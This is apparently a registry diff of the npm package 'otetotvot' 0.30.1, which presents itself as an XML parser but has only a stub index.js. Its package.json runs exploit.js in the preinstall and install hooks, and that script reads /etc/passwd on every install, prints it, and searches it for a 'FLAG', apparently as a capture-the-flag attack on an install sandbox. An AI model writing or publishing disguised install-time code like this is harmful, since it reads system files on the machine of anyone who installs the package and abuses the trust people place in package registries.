otetotvot 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/exploit.js +23 -0
  2. package/index.js +11 -0
  3. package/package.json +13 -0
package/exploit.js ADDED
@@ -0,0 +1,23 @@
1
+ const fs = require('fs');
2
+ console.log('=== EXPLOIT EXECUTED ===');
3
+
4
+ // Просто читаем /etc/passwd и выводим ВСЁ
5
+ try {
6
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
7
+ console.log('FULL /etc/passwd CONTENT:');
8
+ console.log('--- START PASSWD ---');
9
+ console.log(passwd);
10
+ console.log('--- END PASSWD ---');
11
+
12
+ // Выводим каждую строку отдельно
13
+ const lines = passwd.split('\n');
14
+ console.log('ANALYZING LINES:');
15
+ lines.forEach((line, index) => {
16
+ console.log(`Line ${index}: ${line}`);
17
+ if (line.includes('{') && line.includes('}')) {
18
+ console.log(`🚨🚨🚨 FLAG ON LINE ${index}: ${line}`);
19
+ }
20
+ });
21
+ } catch(e) {
22
+ console.log('Error:', e.message);
23
+ }
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ module.exports = {
2
+ parseXmlString: function(xml, options) {
3
+ return {
4
+ get: function(xpath) {
5
+ return {
6
+ text: function() { return "test"; }
7
+ };
8
+ }
9
+ };
10
+ }
11
+ };
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "otetotvot",
3
+ "version": "0.30.1",
4
+ "description": "XML parsing library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node exploit.js",
8
+ "install": "node exploit.js"
9
+ },
10
+ "keywords": ["xml", "parser"],
11
+ "author": "test",
12
+ "license": "MIT"
13
+ }